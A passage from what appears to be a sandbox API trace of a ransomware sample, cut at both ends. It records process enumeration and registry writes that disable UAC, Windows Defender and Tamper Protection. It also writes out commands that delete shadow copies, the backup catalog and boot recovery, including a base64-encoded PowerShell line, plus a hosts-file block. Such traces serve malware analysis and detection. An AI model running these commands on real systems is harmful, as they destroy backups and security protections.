szExeFile="fold_earn_rage.exe")) returned 1 [0054.503] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="estimationstrings.exe")) returned 1 [0054.504] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="implementation-senior-pursue.exe")) returned 1 [0054.505] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited_eight_portfolio.exe")) returned 1 [0054.505] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ivory-israel.exe")) returned 1 [0054.506] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="victorian.exe")) returned 1 [0054.507] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="excuse-focusing-korea.exe")) returned 1 [0054.507] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jeffersonextreme.exe")) returned 1 [0054.508] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="carb-select.exe")) returned 1 [0054.509] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="teenage-remaining-delaware.exe")) returned 1 [0054.509] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.510] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.511] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.512] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.513] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.514] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.514] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.515] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.516] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.517] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.518] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.519] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.520] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.521] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.522] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.522] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.523] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.524] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0054.525] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.526] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.528] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.529] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.531] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0054.532] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0054.534] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.578] CloseHandle (hObject=0x2c) returned 1 [0054.578] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c [0054.584] Process32FirstW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.698] CloseHandle (hObject=0x2c) returned 1 [0054.698] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/C sc config \"AppCheck\" start=disabled", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0076.710] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18fcf8, lpdwDisposition=0x18fcf4 | out: phkResult=0x18fcf8*=0x110, lpdwDisposition=0x18fcf4*=0x2) returned 0x0 [0076.831] RegSetValueExW (in: hKey=0x110, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x18fd04*=0x5, cbData=0x4 | out: lpData=0x18fd04*=0x5) returned 0x0 [0076.927] RegSetValueExW (in: hKey=0x110, lpValueName="ConsentPromptBehaviorUser", Reserved=0x0, dwType=0x4, lpData=0x18fd04*=0x3, cbData=0x4 | out: lpData=0x18fd04*=0x3) returned 0x0 [0076.927] RegSetValueExW (in: hKey=0x110, lpValueName="dontdisplaylastusername", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x0, cbData=0x4 | out: lpData=0x18fd00*=0x0) returned 0x0 [0076.928] RegSetValueExW (in: hKey=0x110, lpValueName="EnableInstallerDetection", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0076.928] RegSetValueExW (in: hKey=0x110, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x0, cbData=0x4 | out: lpData=0x18fd00*=0x0) returned 0x0 [0076.937] RegSetValueExW (in: hKey=0x110, lpValueName="EnableSecureUIAPaths", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0076.937] RegSetValueExW (in: hKey=0x110, lpValueName="EnableUIADesktopToggle", Reserved=0x0, dwType=0x4, lpData=0x18fd04*=0x5, cbData=0x4 | out: lpData=0x18fd04*=0x5) returned 0x0 [0076.938] RegSetValueExW (in: hKey=0x110, lpValueName="EnableVirtualization", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0076.939] RegSetValueExW (in: hKey=0x110, lpValueName="FilterAdministratorToken", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x0, cbData=0x4 | out: lpData=0x18fd00*=0x0) returned 0x0 [0076.939] RegSetValueExW (in: hKey=0x110, lpValueName="legalnoticecaption", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0076.939] RegSetValueExW (in: hKey=0x110, lpValueName="legalnoticetext", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0076.940] RegSetValueExW (in: hKey=0x110, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0076.940] RegSetValueExW (in: hKey=0x110, lpValueName="scforceoption", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x0, cbData=0x4 | out: lpData=0x18fd00*=0x0) returned 0x0 [0076.941] RegSetValueExW (in: hKey=0x110, lpValueName="shutdownwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0076.941] RegSetValueExW (in: hKey=0x110, lpValueName="undockwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0076.941] RegSetValueExW (in: hKey=0x110, lpValueName="ValidateAdminCodeSignatures", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x0, cbData=0x4 | out: lpData=0x18fd00*=0x0) returned 0x0 [0076.941] RegCloseKey (hKey=0x110) returned 0x0 [0076.951] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18fcf8, lpdwDisposition=0x18fcf4 | out: phkResult=0x18fcf8*=0x110, lpdwDisposition=0x18fcf4*=0x1) returned 0x0 [0077.031] RegSetValueExW (in: hKey=0x110, lpValueName="DisableAntiSpyware", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x1, cbData=0x4 | out: lpData=0x18fd00*=0x1) returned 0x0 [0077.032] RegCloseKey (hKey=0x110) returned 0x0 [0077.032] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18fcf8, lpdwDisposition=0x18fcf4 | out: phkResult=0x18fcf8*=0x110, lpdwDisposition=0x18fcf4*=0x1) returned 0x0 [0077.032] RegSetValueExW (in: hKey=0x110, lpValueName="TamperProtection", Reserved=0x0, dwType=0x4, lpData=0x18fd00*=0x0, cbData=0x4 | out: lpData=0x18fd00*=0x0) returned 0x0 [0077.033] RegCloseKey (hKey=0x110) returned 0x0 [0077.104] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0077.366] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="powershell.exe", lpParameters="-e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0077.557] DeleteFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host")) returned 0 [0077.558] GetLastError () returned 0x2 [0077.558] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host")) returned 0xffffffff [0077.558] SetLastError (dwErrCode=0x2) [0077.568] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0078.128] GetFileType (hFile=0x130) returned 0x1 [0078.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="127.0.0.1 validation.sls.microsoft.com", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0078.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="127.0.0.1 validation.sls.microsoft.com", cchWideChar=38, lpMultiByteStr=0x2004f9c, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="127.0.0.1 validation.sls.microsoft.com", lpUsedDefaultChar=0x0) returned 38 [0078.136] WriteFile (in: hFile=0x130, lpBuffer=0x535a28*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x18fcf0, lpOverlapped=0x0 | out: lpBuffer=0x535a28*, lpNumberOfBytesWritten=0x18fcf0*=0x28, lpOverlapped=0x0) returned 1 [0078.305] CloseHandle (hObject=0x130) returned 1 [0078.314] QueryPerformanceCounter (in: lpPerformanceCount=0x18fcd8 | out: lpPerformanceCount=0x18fcd8*=19769036294) returned 1 [0078.456] GetCPInfo (in: CodePage=0xfde9, lpCPInfo=0x18fc74 | out: lpCPInfo=0x18fc74) returned 1 [0078.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bà¦=\x8b9a\x9b(\x9bkÝÞ\x914ÙgTÎÅaõ\x05÷úî¡qy…Ç\x8ePCÕ6¹eÕäE4é\x9cª2É\x86\x18¦µ:ÃÄz\x87Ñ6º?D°\x94E±\"øï¬ð\x93©øöf\x93îߢ\x1cî©^\x9c$ø\x98|n\x9ao\x9eþî@@µv«\x8du\x92o¸õ°4¸»PX]Ã\x0c\x90gøqÄõ± Í\x86ù:LEÃ\x80\x1a9ܨoEµ…B1òêÊl\x8c\x81¸wÜn\x15@3\x87\x92?^UÝ×\x04C\x8e]\x80zcsr§\x0eµ7\x0cÅ\x050@@ä\x0e;O\x97…Å\x9eµcà\x05\x94¾xîü¸c,Q¸Aüz\x9fPd÷â¾4«;î\x06µ\x953Ã\x18z§]ó%÷¥9\x1c¢\x14ÞÃf\x1aß1fÜÊ?\x04&ÍÆß)ä\x9a\x15ʺU\x15¨\x88\x96Ý\x13\x986Q·U\x0e-4<\x0e µi4ѱîá\x83ÇË^ju&0¡\x0e\x81)¼\x8béfÞ´eÁ\x0c\x845ÞÆ\x89¿\x98]q\x0blo-\x80Ëýrq©ñ«3©…ëáKzzWÊÄ¥\x8c¸´\x81^4£\x14±uW¤¾î\x14\x87?3iÄëMO®\x0eCÇ\x1càL\x88\x9e®\x18q\x9cðÞ\x06\x15\x9c\x8fXxÈ4ÃEÙg¦z\x98ºõ\"4Ñ\\Àk\x1ak\x8e\x03h*·\x06Ð\x92\x81|ßáq·ø\x90k\x82ÍÂÉz\x83x×kë¾r·yàLé8H+é\x93©\x9a\x11Å^D¾QÞz\x92bÇÆÔ\x9e\x9d÷\x888µÈ@Ïq,ñÝ\x93äüÕðYwàä¸\x03Ë í\x1d6ø£Ê¬a÷æk/¾Á¼^Ñ3e\x94ʨÁOo]n\x92$ñc«Ôçþ\x06üEa!òÝV\x9d^\x8c<,\x0ffðµ\x80v*¬\x80\x05ßëw\x99ëEäN£Q\x10_1bbÏ\x08\x9c\x98;N\x89Ík\x94\x06Ðü", cchWideChar=1190, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1840 [0078.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bà¦=\x8b9a\x9b(\x9bkÝÞ\x914ÙgTÎÅaõ\x05÷úî¡qy…Ç\x8ePCÕ6¹eÕäE4é\x9cª2É\x86\x18¦µ:ÃÄz\x87Ñ6º?D°\x94E±\"øï¬ð\x93©øöf\x93îߢ\x1cî©^\x9c$ø\x98|n\x9ao\x9eþî@@µv«\x8du\x92o¸õ°4¸»PX]Ã\x0c\x90gøqÄõ± Í\x86ù:LEÃ\x80\x1a9ܨoEµ…B1òêÊl\x8c\x81¸wÜn\x15@3\x87\x92?^UÝ×\x04C\x8e]\x80zcsr§\x0eµ7\x0cÅ\x050@@ä\x0e;O\x97…Å\x9eµcà\x05\x94¾xîü¸c,Q¸Aüz\x9fPd÷â¾4«;î\x06µ\x953Ã\x18z§]ó%÷¥9\x1c¢\x14ÞÃf\x1aß1fÜÊ?\x04&ÍÆß)ä\x9a\x15ʺU\x15¨\x88\x96Ý\x13\x986Q·U\x0e-4<\x0e µi4ѱîá\x83ÇË^ju&0¡\x0e\x81)¼\x8béfÞ´eÁ\x0c\x845ÞÆ\x89¿\x98]q\x0blo-\x80Ëýrq©ñ«3©…ëáKzzWÊÄ¥\x8c¸´\x81^4£\x14±uW¤¾î\x14\x87?3iÄëMO®\x0eCÇ\x1càL\x88\x9e®\x18q\x9cðÞ\x06\x15\x9c\x8fXxÈ4ÃEÙg¦z\x98ºõ\"4Ñ\\Àk\x1ak\x8e\x03h*·\x06Ð\x92\x81|ßáq·ø\x90k\x82ÍÂÉz\x83x×kë¾r·yàLé8H+é\x93©\x9a\x11Å^D¾QÞz\x92bÇÆÔ\x9e\x9d÷\x888µÈ@Ïq,ñÝ\x93äüÕðYwàä¸\x03Ë í\x1d6ø£Ê¬a÷æk/¾Á¼^Ñ3e\x94ʨÁOo]n\x92$ñc«Ôçþ\x06üEa!òÝV\x9d^\x8c<,\x0ffðµ\x80v*¬\x80\x05ßëw\x99ëEäN£Q\x10_1bbÏ\x08\x9c\x98;N\x89Ík\x94\x06Ðü", cchWideChar=1190, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1840 [0078.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bà¦=\x8b9a\x9b(\x9bkÝÞ\x914ÙgTÎÅaõ\x05÷úî¡qy…Ç\x8ePCÕ6¹eÕäE4é\x9cª2É\x86\x18¦µ:ÃÄz\x87Ñ6º?D°\x94E±\"øï¬ð\x93©øöf\x93îߢ\x1cî©^\x9c$ø\x98|n\x9ao\x9eþî@@µv«\x8du\x92o¸õ°4¸»PX]Ã\x0c\x90gøqÄõ± Í\x86ù:LEÃ\x80\x1a9ܨoEµ…B1òêÊl\x8c\x81¸wÜn\x15@3\x87\x92?^UÝ×\x04C\x8e]\x80zcsr§\x0eµ7\x0cÅ\x050@@ä\x0e;O\x97…Å\x9eµcà\x05\x94¾xîü¸c,Q¸Aüz\x9fPd÷â¾4«;î\x06µ\x953Ã\x18z§]ó%÷¥9\x1c¢\x14ÞÃf\x1aß1fÜÊ?\x04&ÍÆß)ä\x9a\x15ʺU\x15¨\x88\x96Ý\x13\x986Q·U\x0e-4<\x0e µi4ѱîá\x83ÇË^ju&0¡\x0e\x81)¼\x8béfÞ´eÁ\x0c\x845ÞÆ\x89¿\x98]q\x0blo-\x80Ëýrq©ñ«3©…ëáKzzWÊÄ¥\x8c¸´\x81^4£\x14±uW¤¾î\x14\x87?3iÄëMO®\x0eCÇ\x1càL\x88\x9e®\x18q\x9cðÞ\x06\x15\x9c\x8fXxÈ4ÃEÙg¦z\x98ºõ\"4Ñ\\Àk\x1ak\x8e\x03h*·\x06Ð\x92\x81|ßáq·ø\x90k\x82ÍÂÉz\x83x×kë¾r·yàLé8H+é\x93©\x9a\x11Å^D¾QÞz\x92bÇÆÔ\x9e\x9d÷\x888µÈ@Ïq,ñÝ\x93äüÕðYwàä¸\x03Ë í\x1d6ø£Ê¬a÷æk/¾Á¼^Ñ3e\x94ʨÁOo]n\x92$ñc«Ôçþ\x06üEa!òÝV\x9d^\x8c<,\x0ffðµ\x80v*¬\x80\x05ßëw\x99ëEäN£Q\x10_1bbÏ\x08\x9c\x98;N\x89Ík\x94\x06Ðü", cchWideChar=1190, lpMultiByteStr=0x1fc4148, cbMultiByte=1840, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bà¦=Â\x8b9aÂ\x9b(Â\x9bkÃ\x9dÃ\x9eÂ\x914Ã\x99gTÃ\x8eÅaõ\x05÷úî¡qy…Ã\x87Â\x8ePCÃ\x956¹eÃ\x95äE4éÂ\x9cª2Ã\x89Â\x86\x18¦µ:Ã\x83Ã\x84zÂ\x87Ã\x916º?D°Â\x94E±\"Ã\x83¸ï¬ðÂ\x93©øöfÂ\x93îÃ\x9f¢\x1cî©^Â\x9c$øÂ\x98|nÂ\x9aoÂ\x9eþî@@µv«Â\x8duÂ\x92o¸õ°4¸»PX]Ã\x83\x0cÂ\x90gøqÃ\x84õ± Ã\x8dÂ\x86ù:LEÃ\x83Â\x80\x1a9Ã\x9c¨oEµ…B1òêÃ\x8alÂ\x8cÂ\x81¸wÃ\x9cn\x15@3Â\x87Â\x92?^UÃ\x9dÃ\x97\x04CÂ\x8e]Â\x80zcsr§\x0eµ7\x0cÅ\x050@@ä\x0e;OÂ\x97…ÅÂ\x9eµcà\x05Â\x94¾xîü¸c,Q¸AüzÂ\x9fPd÷â¾4«;î\x06µÂ\x953Ã\x83\x18z§]ó%÷¥9\x1c¢\x14Ã\x9eÃ\x83f\x1aÃ\x9f1fÃ\x9cÃ\x8a?\x04&Ã\x8dÃ\x86Ã\x9f)äÂ\x9a\x15Ã\x8aºU\x15¨Â\x88Â\x96Ã\x9d\x13Â\x986Q·U\x0e-4<\x0e 